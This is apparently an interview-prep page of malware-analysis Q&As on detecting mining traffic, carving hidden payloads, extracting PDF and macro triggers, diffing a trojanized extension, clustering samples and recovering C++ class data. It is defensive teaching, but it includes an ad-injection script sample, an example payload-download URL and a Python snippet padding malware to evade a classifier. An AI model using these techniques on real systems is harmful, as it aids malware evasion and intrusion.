{"id": 7, "result": true, "error": null}The five params fields are fixed in order: worker name, job id, extranonce2, ntime, nonce. The worker name is usually a wallet address plus a suffix, for example wallet.rig-04. The nonce is the value the miner varied while hashing the block header until the hash fell below the target.
| Stratum method | Sent by | Purpose |
|---|---|---|
mining.subscribe | Miner | Announces the miner agent and starts a session |
mining.authorize | Miner | Logs in with wallet or account and worker name |
mining.notify | Pool | Delivers a new job: job id, header hash, ntime, nbits |
mining.submit | Miner | Reports a share: worker, job id, extranonce2, ntime, nonce |
mining.set_difficulty | Pool | Sets the share difficulty the miner must meet |
Worked trace
In Wireshark follow TCP stream, a short session reads like this:
| Time | Direction | Payload |
|---|---|---|
| 0.000 s | Miner to pool | mining.subscribe, agent xmrig/6.21.0 |
| 0.052 s | Miner to pool | mining.authorize, worker wallet.rig-04 |
| 0.118 s | Pool to miner | mining.notify, job job_9f31 |
| 12.400 s | Miner to pool | mining.submit, job job_9f31, nonce 00000000 |
| 12.441 s | Pool to miner | result: true, share accepted |
Submits repeat at intervals set by difficulty and hash rate, often every few seconds to a few minutes. One submit in isolation usually means the capture started mid session. The subscribe and authorize messages are earlier in the same flow.
Finding it in a capture
Search the payload for the method string rather than trusting the port. Pools change ports, the JSON does not.
tshark -r capture.pcap -Y 'tcp contains "mining.submit"' -T fields -e ip.src -e tcp.dstport -e data-text-linesLimits
Stratum over TLS on port 443 hides the method string. You then rely on flow shape: one TCP connection held open for hours, small client messages at regular share intervals, and a process at sustained high CPU. A local mining proxy also breaks the link, since only the proxy host shows mining.submit and endpoints show proxy traffic instead. Browser miners wrap similar JSON in WebSocket frames, so decode the WebSocket payload before searching. Corroborate the network hit with the process making the connection, because a legitimate miner produces the same mining.submit traffic as a cryptominer by design.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-47A PNG and a DOCX both look clean but are suspected of carrying a hidden second stage: how do you prove where the payload is and extract it without destroying the evidence?
The 90-second answer
I treat the file as a container first and a picture or document second. I hash the original, work only on a copy, and look for data the renderer ignores. For images that is LSB planes, appended bytes after IEND or EOI, ancillary chunks, and metadata fields. For Office files that is extra ZIP entries, embedded OLE objects, alternate data in the package, and content the document model hides. If I find a second signature or a high entropy tail, I carve it, hash the carve, and only then try to decode it. A visual anomaly alone proves nothing.
Where payloads hide
| Carrier | Ignored space | First check |
|---|---|---|
| PNG | LSB of pixel bytes, tEXt/iTXt/zTXt chunks, bytes after IEND | binwalk, exiftool, chunk walk |
| JPEG | LSB or DCT coefficients, COM/APPn segments, bytes after EOI (0xFFD9) | steghide info, zsteg, scan for EOI offset |
| GIF/BMP | Palette LSBs, appended trailer, BMP pixel padding | binwalk, compare file size to header size |
| DOCX/XLSX/PPTX | ZIP entries not referenced by [Content_Types].xml, embedded objects in word/embeddings/, custom XML | unzip -l, oletools for legacy OLE |
| Embedded files, JavaScript streams, unused object streams, incremental updates | pdf-parser, peepdf, strings on streams | |
| Legacy DOC/XLS | OLE compound streams, macros, deleted sectors in the compound file | oleid, olemeta, oleobj |
Capacity gives a sanity check. A 1024 by 1024 RGB PNG holds 3,145,728 LSBs, which is 393,216 bytes before any header or compression. If a claimed payload is larger than that, LSB in that image cannot be the carrier. A 40 KB image with a 200 KB tail after IEND is a different problem, usually simple appending.
Extraction workflow
# Python 3.11, Pillow 10. Extract LSB bytes from a PNG copy.
from PIL import Image
def lsb_extract(path, out):
im = Image.open(path).convert("RGB")
bits = []
for r, g, b in im.getdata():
bits.extend([r & 1, g & 1, b & 1])
data = bytearray()
for i in range(0, len(bits) - 7, 8):
byte = 0
for bit in bits[i:i+8]:
byte = (byte << 1) | bit
data.append(byte)
if byte == 0 and len(data) > 4 and data[-4:] == b"\x00\x00\x00\x00":
break
open(out, "wb").write(bytes(data))
return bytes(data[:4]) # check for MZ, PK, %PDF, ELF magic hereThat snippet is deliberately naive. Real tools try bit order, channel order, and plane order, and stop at a length header or a known magic. I run zsteg for PNG/BMP and steghide extract for JPEG first because they test those variants, then fall back to a manual walk when the tool reports nothing.
For documents I unzip to a scratch directory and diff the listing against the manifest. A DOCX is a ZIP. An entry present on disk but absent from [Content_Types].xml and from any relationship file is suspicious even if Word opens the file cleanly. For legacy OLE I list streams with oleobj and look for streams named like Package, Ole10Native, or a stream whose entropy is near 8.0 while the document text is near 4.5.
Worked trace
A 212,480 byte PNG, 800 by 600, hashes to SHA-256 a1…. binwalk reports no embedded filesystem. A chunk walk shows IEND ending at offset 198,112. That leaves 14,368 bytes after IEND. xxd at 198,112 shows 50 4B 03 04, the ZIP local header. Carving from there yields a ZIP containing stage2.dll. The DLL is 14,201 bytes, the rest is ZIP padding. I hash the DLL separately and analyse it as a PE. The image itself never needed LSB extraction. Reporting "steganography" for that case would be wrong. It is appended archive abuse, and the distinction matters for detection rules.
Failure modes
Steghide with a password produces output indistinguishable from random LSB noise, and steghide info without the password will often report no embedded data. I do not brute force beyond a small wordlist from the case context, and I record that limit. JPEG DCT embedding survives recompression poorly, so a re-saved JPEG that lost its payload does not prove the original was clean. PDF incremental updates can hide an older, malicious revision behind a clean final render, so I parse all revisions rather than extracting text from the last one. White on white text and 1 pt text in a DOCX are document hiding, not steganography, and I check them with python-docx run properties instead of image tools.
I close with two hashes, the original and each carved artefact, the exact offset and method used, and the checks that came back negative. That lets another analyst reproduce the extraction or rerun the negative checks without trusting my verdict.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-48You get a PDF with /OpenAction and /JS and an OLE file with a vbaProject.bin stream: what do you extract from each before opening them, and how do you note the trigger?
The 90-second answer
I do not open either file in its reader first. I copy it, hash the copy, and extract the part that runs automatically. In the PDF that is the JavaScript reached by /OpenAction. In the OLE file that is Macros/vbaProject.bin if macros are the trigger, or an oleObject stream if an embedded object is. I record which object or stream I pulled, how it is reached on open, and the hash of anything it drops. That gives a second analyst the same starting point without needing my VM.
PDF: extract the script before rendering
pdfid tells me whether the automatic triggers are present, and pdf-parser.py pulls the object out without rendering the page:
sha256sum sample.pdf
pdfid sample.pdf
pdf-parser.py --raw 14 sample.pdf > obj14.jsSuppose pdfid reports /OpenAction 1, /JS 1, /EmbeddedFile 0. I dump object 14, the /JS object, and read it as text. Most samples hide the next stage behind unescape, String.fromCharCode, or a string built with Chr() equivalents in JavaScript, then pass it to eval or write it with this.exportDataObject. I deobfuscate that text statically, look for a URL, a dropped filename, or a second embedded object, and hash any file I reconstruct. I note the trigger as: object 14, reached by /OpenAction on open, no click required.
| Check | Result in this example | What I record |
|---|---|---|
/OpenAction | 1 | Runs on open |
/JS object 14 | 1 | Extracted to obj14.js, SHA-256 noted |
/EmbeddedFile | 0 | No second file inside the PDF |
| Decoded script | Contains http://198.51.100.23/p.bin | IOC and next stage, hashed separately |
If /EmbeddedFile were 1 instead, I would extract that stream the same way and treat it as a separate sample with its own hash. The distinction matters in the report. A script that downloads a payload is documented differently from a PDF that already carries the payload.
OLE: list streams, then pull the active one
An old .doc is an OLE Compound File. oleid flags the format and which active streams exist, and oledump.py dumps a named stream to disk:
oleid sample.doc
olevba sample.doc
oledump.py -s A4 sample.doc > vbaProject.bin# Python 3, olefile, on a copy
import olefile
ole = olefile.OleFileIO('sample.doc')
for entry in ole.listdir(streams=True, storages=True):
print('/'.join(entry))
ole.close()In this case oleid reports vbaProject.bin present and no oleObject streams. I dump that stream, run olevba on it, and look for Shell, CreateObject, and strings assembled from Chr() calls. The trigger I record is: Macros/vbaProject.bin, runs when macros are enabled in Word, spawns cmd.exe which fetches the same style of URL. If instead the file had oleObject1 and no VBA project, I would dump oleObject1, note its CLSID and size, and record that trigger as an embedded object activated from the document body. I do not guess which one applies. The stream list decides it.
Detonate second, document the same fields
Only after extraction do I open a copy in a snapshot VM with the matching Reader or Word version, FakeNet-NG on, and ProcMon running. I check whether the child process, dropped file, and network request match what the extracted script or macro predicted. If nothing fires, the likely reasons are macros disabled, Protected View, or a click required on the embedded object, and I note which one I tested.
The entry I write covers both formats in the same shape:
| Field | PDF example | OLE example |
|---|---|---|
| Container | PDF, object 14 /JS | OLE, stream Macros/vbaProject.bin |
| Trigger | /OpenAction on open | Macros enabled |
| Extracted payload | obj14.js, SHA-256, URL inside | vbaProject.bin, SHA-256, Shell call inside |
| Observed on detonation | AcroRd32.exe writes p.bin | WINWORD.EXE spawns cmd.exe |
Extracting first keeps the evidence reproducible. The object number or stream name, plus the hash of what came out of it, is enough for someone else to retest the trigger on their own machine.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-49An extension updates from 2.4.0 to 2.4.1 with no new permissions but starts injecting ads: how does Chrome's update mechanism let that happen, and how would you diff the two versions to find the change?
The 90-second answer
Chrome does not re-ask the user when an extension updates. It checks the update_url in manifest.json, downloads an XML file that names the newest version and the URL of its CRX package, verifies the CRX signature, and installs it under the permissions the user already granted. If the new code stays inside those permissions, it runs without a new prompt. That is how a 2.4.1 build can start injecting ads while the permission list looks unchanged.
The signature check only proves the package came from the same developer key as before. It does not prove the code is safe. A compromised developer account, a compromised update server, or a developer who sold the extension can push a trojanized build that passes verification. Your job is to show what the new code does that the old code did not.
{
"manifest_version": 3,
"name": "Coupon Helper",
"version": "2.4.1",
"update_url": "https://updates.example.com/ext/updates.xml",
"permissions": ["storage", "activeTab"],
"host_permissions": ["https://*.example.com/*"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"]
}]
}Read that manifest first. <all_urls> lets content.js run on every page. activeTab alone would limit it to the tab the user clicked. The update XML is the second place to look:
<?xml version='1.0' encoding='UTF-8'?>
<gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'>
<app appid='abcdefghijklmnopabcdefghijklmnop'>
<updatecheck codebase='https://updates.example.com/ext/coupon-2.4.1.crx'
version='2.4.1' />
</app>
</gupdate>If that XML or the codebase host changed, or if the CRX served there hashes differently from the CRX in the Web Store, you have a split between what the store reviewed and what installed users received.
Diffing the two versions
Unpack both CRXs. A CRX3 file starts with the magic Cr24, followed by a signed header and a zip payload. Unzip each payload and hash every file with SHA-256. Build a table of added, removed, and changed files, then read the changed JavaScript.
| File | 2.4.0 | 2.4.1 | What to check |
|---|---|---|---|
manifest.json | version 2.4.0 | version 2.4.1, same permissions | New content script, new host, changed update_url |
content.js | 42 lines, coupon logic | 118 lines, new network calls | fetch to unknown domains, DOM injection, eval |
bg.js | storage sync | periodic timer | Requests on a timer even when the page is idle |
In the changed content.js, look for code that uses the existing permissions in a new way. Ad injection is usually a content script creating an iframe or rewriting links:
// content.js, added in 2.4.1
const ad = document.createElement('iframe');
ad.src = 'https://ads.example.net/banner?id=7';
ad.style.cssText = 'position:fixed;bottom:0;right:0;width:300px;height:250px;z-index:9999';
document.body.appendChild(ad);That code needs no new permission. The content script already had page access. The same pattern with a fetch POST of form fields is exfiltration, and the destination domain will not appear anywhere in the manifest. Obfuscation, String.fromCharCode, or a string fetched at runtime and passed to eval or new Function are also worth flagging, because Manifest V3 bans remotely hosted code in store extensions. Code that downloads a second stage breaks that model.
Confirming it dynamically
Install 2.4.1 in an isolated Chrome profile on an analysis VM, with no real accounts signed in. Route traffic through mitmproxy or Burp and open the extension service worker console from chrome://extensions. Load a plain test page. If the proxy shows a request to the ad domain that the page itself never made, and the iframe appears in the page, you have tied the behaviour to the diff. Block the ad domain and reload. A legitimate coupon feature should still work. The injected ad should disappear, which confirms the source.
Failure modes to name
The store build and the self-hosted build can diverge. The store reviews the submitted CRX, while existing installs follow the XML. Compare the hash of the store CRX with the hash of the CRX at the codebase URL. A second case is a valid signature with malicious code. That happens when the developer account is compromised, and only the file diff reveals it. A third case is a false lead. If the ad appears on one site only and the extension makes no matching request in the proxy log, the injection likely comes from the site or from separate adware, and you should not blame the extension.
For a fleet hunt, collect the extension ID, which is derived from the signing key, the update_url host, and the ad or exfiltration domain from the diff. Search proxy and DNS logs for that domain and inventory installed extensions by ID and version. Many hosts moving to 2.4.1 in the same window, with the same new network destination, turns a single complaint into a supply chain incident.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-50If a vendor update passes signature verification, how do you check whether it is trojanized?
The 90-second answer
A valid signature only proves the vendor's private key signed that exact file. It does not prove the source code was clean when it was built. In the SolarWinds Orion case, SUNBURST was injected during the build and the resulting update was then signed normally, so signature checks passed on every victim machine.
So I treat the signature as one check, not the verdict. I hash the file with SHA-256 and compare it to the hash the vendor published through a separate channel, then diff the suspect build against a known clean build of the same version. A trojanized build usually differs in a small, targeted way: a new import, a new string, a new network call, or a function that does not exist in the clean source.
How I analyse it
First, preserve the sample and record provenance: where it was downloaded from, the URL, the installer name, and the SHA-256. I verify the Authenticode signature and certificate chain, but I also check the signing time and whether the certificate was revoked or misused. Then I compare hashes.
Get-FileHash .\OrionUpdate.exe -Algorithm SHA256
Get-AuthenticodeSignature .\OrionUpdate.exe | Format-List Status, SignerCertificate, TimeStamperCertificateIf the hash differs from the vendor's published hash for that version, I assume compromise until proven otherwise, even if Status is Valid. Next I diff the binaries. I use BinDiff or Diaphora against the clean build, and in a hurry I compare imports, strings, and section hashes with pefile or Detect It Easy. The injected code often shows up as a new function calling DNS or HTTP APIs that the clean version never used.
Then I detonate it in an isolated VM with INetSim or FakeNet-NG and capture traffic in Wireshark. For SUNBURST that meant DNS queries for encoded subdomains under a attacker-controlled domain, which is a very different pattern from the product's normal telemetry. I extract IOCs (domains, IPs, mutexes, file paths) and check whether other customers received the same hash, which separates a targeted supply chain attack from a one-off infection.
| Check | Legitimate update | Trojanized update |
|---|---|---|
| Signature | Valid, expected signer | Often also valid, signed after injection |
| SHA-256 vs vendor list | Matches published hash | Mismatches, or vendor cannot explain the build |
| Binary diff vs clean build | No unexplained code | Small injected function, new imports or strings |
| Sandbox behaviour | Normal product activity | C2 beaconing, encoded DNS, extra persistence |
The failure mode to avoid is stopping at the signature. If the build server is compromised, the attacker gets a legitimately signed backdoor and every endpoint that trusts the publisher installs it automatically. The defence that catches it is provenance: reproducible builds, SLSA attestation, and a hash published out of band, so a mismatch is visible before deployment.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-51Two samples share most of their code but use different C2 domains, signing keys and compile times: how do you cluster them and decide whether attribution to the same actor is justified?
The 90-second answer
I would cluster first and attribute second, and I would keep those two conclusions separate in the report. Clustering answers whether samples belong to one family or campaign. Attribution answers who operated them, which needs evidence beyond code similarity.
Assume I have two PE samples, A and B, with high code overlap, different C2 domains, different signing keys and different compile timestamps. I would extract three feature groups and score them independently: code reuse, configuration and behaviour, and infrastructure. Code reuse alone puts them in the same family. Shared infrastructure, shared victimology and shared operational patterns are what move a family cluster toward a single actor, and even then I would state confidence as moderate unless I have victim, timing or tooling evidence that only that actor has.
How I cluster in practice
For code, I compare more than a hash. A repack changes SHA-256 completely, so I use imphash for import order, rich header values, section layout, function graph similarity from Ghidra or BinDiff, and normalised strings. I also look for distinctive mistakes: the same dead code, the same misspelled API name, the same order of registry writes. Those idiosyncrasies survive recompilation better than a single string.
For configuration, I decode the C2 config in each sample and compare structure, not just values. Same config schema, same XOR key schedule, same campaign ID format and same mutex naming pattern is stronger than two samples pointing at one domain, because domains are cheap to rotate.
For infrastructure, I check passive DNS history, registrar and ASN, TLS certificate reuse, DGA seed and algorithm, and the timing and jitter of beacons. Shared bulletproof hosting or a shared certificate authority proves little. A rare DGA seed plus the same beacon interval with the same jitter distribution is harder to explain as coincidence.
# Python 3.11, illustrative scoring. Features extracted offline with pefile and Ghidra export.
features = {
"imphash_match": True, # same import sequence
"func_graph_similarity": 0.87, # BinDiff matched functions / total
"config_schema_match": True, # same fields, same key schedule
"dga_seed_match": True,
"c2_domain_match": False,
"cert_reuse": False,
"signing_key_match": False,
"compile_time_delta_days": 41,
}Worked scoring for A versus B
I use a simple weighted score so a reviewer can see where the conclusion comes from. The weights below are my lab's convention, labelled as illustrative, not a vendor standard.
| Feature | A vs B | Points | Reasoning |
|---|---|---|---|
| Function graph similarity | 0.87 | +3 | Above our 0.80 family threshold |
| Imphash match | yes | +1 | Useful, but packers and builders reproduce it |
| Config schema and key schedule | match | +2 | Structural reuse, not just a shared IOC |
| DGA seed and algorithm | match | +2 | Rare seed, not a public DGA list |
| C2 domain overlap | none | 0 | Domains rotate, absence is weak evidence |
| TLS certificate reuse | none | 0 | Separate certs weaken infrastructure link |
| Signing key | different | -1 | Different keys, but keys are also rotated or stolen |
| Compile time delta | 41 days | 0 | Expected across builds, proves nothing alone |
| Total | 7 | Family cluster: yes. Actor attribution: provisional |
A score of 5 or more puts samples in one family cluster in my workflow. Actor attribution needs at least one infrastructure or operational feature in addition to code, plus no strong contradiction. Here the DGA match supplies that, so I would report "same family, likely same operator, moderate confidence" and list what would raise or lower it.
Where this misleads
Shared packers, crypters and open source loaders create false clusters. UPX, Themida and common RAT builders such as Quasar or Cobalt Strike defaults will make unrelated operators look related if I weight imphash or default strings too heavily. Leaked builders are worse: one actor sells or leaks a builder, and three customers produce samples with near identical code and different infrastructure. That is why different signing keys and different C2 infrastructure in this scenario do not break the family cluster, but they do cap attribution confidence.
Infrastructure also misleads in the other direction. Two samples from one actor can use entirely separate hosting, certificates and domains after a takedown. Absence of infrastructure overlap therefore does not disprove attribution. It only means I cannot use infrastructure to support it.
Compile timestamps are the weakest signal here. The PE TimeDateStamp is set by the linker and is trivial to forge, and a 41 day gap is normal between builds. I would never let it outweigh a DGA seed or config schema match.
What I would report
I would give the cluster ID, the score breakdown, the features that matched and the features that did not, and the specific evidence that would change the call: a shared victim set, a shared operator tool such as the same admin panel fingerprint, or a seized server log. Without that, "same family, likely same operator" is the defensible line, and naming a specific threat actor group would be overclaiming.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-52A sandbox report shows no network traffic, no persistence and a clean verdict for a sample that static analysis flags as a loader: how do you interpret that report and hunt for a false negative?
The 90-second answer
A clean sandbox verdict means the sample produced no malicious behaviour in that environment, during that run, under those conditions. It does not mean the sample is benign. When static analysis shows a loader, a config blob, or import resolution for network APIs, and the detonation report shows nothing, treat the gap as the finding. The sample either did not reach the code that matters, or it reached it and the sandbox could not see the effect.
I start by lining up what static analysis predicts against what the report actually recorded. A mismatch points to a specific trigger or a blind spot, and that tells me what to change on the next run.
| Report field | What it proves | False negative to check |
|---|---|---|
| No network traffic | No connection was attempted or completed in that run | C2 domain dead, DNS blocked, INetSim returned 404, or sample checks for internet before beaconing |
| No persistence | No Run key, service, or scheduled task was created | Persistence stage sits behind a date check, a user interaction, or a successful download |
| Process exited in 8-15 seconds, exit code 0 | Main thread finished quickly | Sleep, anti-VM check, missing config, or missing document triggered an early exit path |
| No child processes | No process was spawned by the sample | Injection into an existing process, or execution via rundll32 with a missing export |
| Score 0/100, verdict clean | The vendor's rules did not fire | Behaviour fell below thresholds, used unhooked syscalls, or ran only in memory |
Hunting the false negative
First, read the timeline, not just the verdict. A sample that runs for 12 seconds in a sandbox configured for 120 seconds and then exits cleanly usually took an exit branch. I check the API trace for the last calls before exit. IsDebuggerPresent, GetTickCount, Sleep, GetLocalTime, RegOpenKey for a sandbox artefact, or a failed InternetOpen often sit right before that exit. A Sleep(300000) call is a concrete case: the sandbox kills the run at 120 seconds, so the payload at 300 seconds never executes, and the report records no network and no persistence. That is a timing false negative, not evidence of benign code.
Second, check whether the sample needed something the sandbox did not provide. A loader that fetches /payload.bin and receives a generic 404 from INetSim will often exit or delete its drop. The report then shows a DNS query and an HTTP request, which looks like attempted C2, but no second stage. I re-run with FakeNet-NG serving a controlled reply, or I extract the config statically and point the sample at a local listener. If the domain is dead or sinkholed, the same applies. No traffic at all can also mean the config was invalid for that build, so I verify the extracted C2, mutex, and campaign ID against the strings and the decoded blob before blaming the sandbox.
Third, check for environment gating. Samples that check MAC address OUI, disk size, number of CPUs, recent documents, mouse movement, or a specific username will behave differently in a fresh VM. A banking trojan that waits for a browser process, or a macro that waits for a click, will also look clean in an unattended run. I compare the sandbox image against a realistic host profile and, where needed, add simulated interaction or run the sample under a debugger with the check patched in memory. Patching the file on disk risks breaking a checksum, so a runtime patch or a hypervisor-level change is safer.
A small script helps me make the comparison repeatable instead of eyeballing JSON:
import json
report = json.load(open("detonation.json"))
static_expected = {"network", "persistence", "child_process"}
observed = set(report.get("behaviours", []))
for missing in sorted(static_expected - observed):
print(f"missing: {missing} -> check trigger, config, and network simulation")
print("duration_s:", report.get("duration_s"))
print("exit_code:", report.get("exit_code"))
print("last_apis:", report.get("api_trace", [])[-5:])If the re-run still shows nothing, I move the question to static analysis. I look for the code path that was never taken, using coverage or breakpoints at the network and persistence APIs. Unreached code with a decoded config is still reportable, but I label it as unobserved in detonation and cite the static evidence separately. That distinction matters in a report: "no malicious behaviour observed in sandbox, sample contains an encoded C2 config and a Run key write that was not reached" is defensible. "Clean, therefore benign" is not.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-53How do signature-based and behavioural detection differ in what they match on, and when would you rely on one over the other for a new malware family?
The 90-second answer
Signature detection matches a file or network artefact you already know is bad. Behavioural detection matches what a program does when it runs, regardless of its exact bytes. I use signatures for fast, cheap confirmation of known families and behavioural rules to catch variants I have never seen, then I treat a behavioural hit as a lead to confirm, not a verdict on its own.
A signature can be a hash, a YARA rule, a byte string, a regex, or an import hash. It is checked against the file on disk or the traffic on the wire. A behavioural rule is checked against telemetry from execution: process creation, file writes, registry changes, API calls, network connections, and the order they happen in. Sysmon, an EDR, or a sandbox produces that telemetry.
| Dimension | Signature | Behavioural |
|---|---|---|
| Matches on | Static artefact: hash, bytes, string, section name | Action sequence: process, file, registry, network events |
| Speed and cost | Hash lookup in microseconds, YARA scan of a 10 MB file in well under a second on a modern host | Sandbox run of 2 to 5 minutes per sample, or continuous EDR telemetry to store and query |
| False positives | Low when the pattern is specific, high when it is a common string or a shared packer stub | Higher, because admin tools, installers, and updaters also write Run keys, spawn shells, and make outbound connections |
| Evasion | Change one byte and an MD5 changes completely. Repack, recompile, or change the C2 domain and a byte pattern misses | Sleep, VM checks, geofencing, or waiting for user input can keep the sample quiet in a sandbox. Direct syscalls can also bypass user mode hooks |
| Best use | Blocking a known campaign, hunting for exact copies, sharing IOCs | Triaging a new family, clustering variants, catching a repacked sample with a new hash |
Where each one breaks, with a trace
Take a hypothetical family, Sample A, that drops a payload, adds a Run key, and beacons to a domain every 60 seconds. An actor repacks it as Sample B: new compile time, new hash, C2 domain changed, but the same three actions in the same order.
| Check | Sample A | Sample B (repacked) |
|---|---|---|
| MD5 signature | Match, blocked at download | Miss, new hash |
| YARA rule on a unique string | Match | Miss if the string was the domain, match if it was a stable config key |
| Behavioural rule: process writes file, then writes Run key, then connects out within 60 seconds | Match | Match, because the actions survived the repack |
That trace is the core trade-off. Signatures are brittle to mutation because they describe the container. Behavioural rules survive mutation because they describe the intent, but they pay for it with context. A legitimate updater can also write a file, add a Run key, and connect out. The rule needs extra conditions, such as the parent process, the target path, the unsigned status of the binary, and whether the network destination is newly registered.
A YARA rule shows how a signature gets more specific than a hash:
rule FamilyX_config {
meta:
family = "FamilyX"
strings:
$cfg = "campaign_id" ascii wide
$hex = { 8B 45 ?? 85 C0 74 ?? 83 ?? ?? }
$imp = "CryptUnprotectData" ascii
condition:
2 of ($cfg, $hex, $imp) and filesize < 5MB
}Requiring two of three features cuts the false positives from a single common string. It still fails if the actor recompiles the config parser and the hex pattern shifts, which is why I pair it with a behavioural hunt for the same sequence of Sysmon events: Event 11 for the file write, Event 13 for the Run key, and Event 3 for the network connection, all from the same process ID within a short window.
In practice I layer them. Signatures run first at the mail gateway, proxy, and endpoint because they are fast and explainable to block. Behavioural rules run in the EDR and sandbox for anything unsigned, newly seen, or flagged by a weak signature. When a behavioural rule fires, I pull the sample, hash it, write a YARA rule from the stable parts I find in static analysis, and push that signature out. That closes the loop: behaviour finds the variant, the signature then blocks the next copy cheaply.
I would not rely on behaviour alone for blocking at scale. The telemetry volume and tuning cost are real, and a miss in a sandbox because the sample slept for five minutes is a silent failure. I would not rely on signatures alone for a new family either, because the first repack defeats them. The interview point is that the two methods fail in opposite directions, and a mature pipeline uses each to cover the other's failure mode.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-54What is adversarial evasion against a machine-learning malware classifier, and what is the simplest way an attacker carries it out?
The 90-second answer
Adversarial evasion is modifying a malware sample so it still runs and still does its job, but the classifier scores it as benign. The simplest version needs no gradient maths and no access to the model weights. Append a large benign overlay, add unused imports, rename sections, or add strings taken from a signed installer. If the classifier relies on static features the attacker controls directly, those edits move the feature vector across the decision boundary while the malicious code path stays untouched.
That is the core limit of ML malware classification. The model does not understand intent. It learns correlations in a training set: certain imports, string counts, section names, byte n-grams, entropy values. Change the correlation without changing behaviour and the verdict changes.
Why static features fall first
A typical static classifier extracts features with a tool like pefile or LIEF, then feeds a vector to a model such as a random forest, gradient boosting, or a neural network. Features are cheap to compute and cheap to manipulate.
| Feature type | Example | Attacker edit | Effect on behaviour |
|---|---|---|---|
| Strings | cmd.exe, C2 domain | Add 500 strings from notepad.exe | None, strings are never executed |
| Imports | VirtualAlloc, WinExec | Add 30 unused imports via a linker stub | None if never called |
| Section names | .text, .rsrc | Rename .rsrc to .text2, add a fake .data section | None, Windows loader uses headers, not names |
| Overlay / appended bytes | File size, byte n-grams | Append 200 KB of benign text or a signed resource | None, overlay is ignored by the loader |
| Section entropy | Mean entropy of .text | Embed a low-entropy resource section | None, code section unchanged |
Dynamic features, such as API calls made in a sandbox, registry writes, and network connections, cost more to fake. The attacker must actually change execution, which risks breaking the sample. That cost difference is why evasion concentrates on static models.
A worked trace
Hypothetical scores from a static model trained on PE files, threshold 0.50 for malware:
| Variant | Change | Score | Verdict | Still malicious? |
|---|---|---|---|---|
| Original sample | None | 0.97 | Malware | Yes |
| + overlay | Append 200 KB benign text | 0.61 | Malware | Yes |
| + overlay + strings | Add installer strings | 0.44 | Benign | Yes |
| + unused imports | Add 30 benign imports | 0.31 | Benign | Yes |
| Repacked with UPX | Pack original | 0.18 | Benign | Yes, unpacks at runtime |
No malicious instruction changed. Each step only diluted the features the model weighted most.
What the code looks like
# Python 3.11, pefile 2024.8.26. Checked against a PE classifier
# that uses file size, string count, and import count as features.
import pefile
def features(path):
pe = pefile.PE(path)
data = open(path, "rb").read()
return {
"size": len(data),
"imports": sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT),
"sections": len(pe.sections),
}
original = features("sample.exe")
with open("sample.exe", "rb") as f:
blob = f.read()
with open("sample_evasive.exe", "wb") as f:
f.write(blob + b"\x00" * 200_000) # benign overlay, never mapped as code
evasive = features("sample_evasive.exe")
print(original, evasive) # size jumps, imports and sections unchangedA classifier that weights size and byte patterns heavily will shift. A classifier that weights called APIs will not. The snippet is the whole attack in the simplest case: the loader ignores the overlay, the feature extractor does not.
Limits an interviewer will probe
Concept drift: new families, new packers, and new compilers produce feature distributions the training data never covered. Accuracy on a held-out test set from the same collection says little about next month's samples.
False positives: installers, game mods, and admin tools share traits with malware, packed code, many imports, high entropy. A model tuned to catch evasive malware will flag legitimate packed software, which is why vendors pair ML scores with allowlists and behavioural checks.
White-box versus black-box: with model access, an attacker can use gradient methods to find the smallest change that flips the score. Without access, they can still do black-box search, submit variants, observe the verdict, and keep the ones that pass. The overlay attack above is black-box and needs only a handful of trials.
Defences raise cost rather than remove the problem. Dynamic analysis features, import hashing that ignores unused imports, and training on augmented samples with appended overlays and renamed sections all help. None of them give the model causal understanding of what the code does, so a determined attacker who can change behaviour without changing the malicious effect, for example by resolving APIs at runtime instead of importing them, still has room to evade.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-55Walk me through how you reverse engineer a stripped C++ sample to recover its class hierarchy from RTTI and vtables, and trace a virtual call and an exception path through it?
The 90-second answer
In a stripped MSVC binary I start from the data, not the code. RTTI in .rdata gives me class names and inheritance even when symbols are gone, the vtable gives me the dispatch table for each class, and the PE exception directory, DataDirectory entry 3, points to .pdata and .xdata where __CxxFrameHandler scope tables live. I recover the hierarchy first, then I read a virtual call as a load of the vtable pointer from this, an indexed load from the vtable, and an indirect call. I read an exception path as a state machine: a state index is stored on entry, a scope table maps state ranges to handler or funclet addresses, and unwinding runs funclets in reverse registration order.
Assume 64-bit Windows, MSVC 19.x, /EHsc or /EHa, no PDB. On Linux ELF the same job uses Itanium RTTI and .eh_frame plus LSDA instead, and I note which ABI I am on before I trust any offset.
RTTI on MSVC
A polymorphic class has a vtable whose vtable pointer, vptr, points at the first virtual function. The Complete Object Locator sits at vptr[-1], eight bytes before that first function on x64. The locator does not point directly to the base class array. It points to a TypeDescriptor and to a ClassHierarchyDescriptor, and the hierarchy descriptor points to the BaseClassArray.
| Structure | What it holds | What I extract |
|---|---|---|
| TypeDescriptor | mangled name | class name, namespace hints |
| BaseClassDescriptor | offset, attributes, contained base count | single, multiple, or virtual inheritance |
| BaseClassArray | array of pointers to BaseClassDescriptor | list of direct bases |
| ClassHierarchyDescriptor | signature, attributes, numBaseClasses, pointer to BaseClassArray | how many bases to walk |
| Complete Object Locator | signature, offset, cdOffset, pointer to TypeDescriptor, pointer to ClassHierarchyDescriptor | link from vptr[-1] back to RTTI |
The TypeDescriptor name is mangled, for example .?AVC2Handler@@, where AV means class and the leading .?A is the MSVC convention. Decoding that string recovers the original class name in most cases, even in packed samples that kept RTTI.
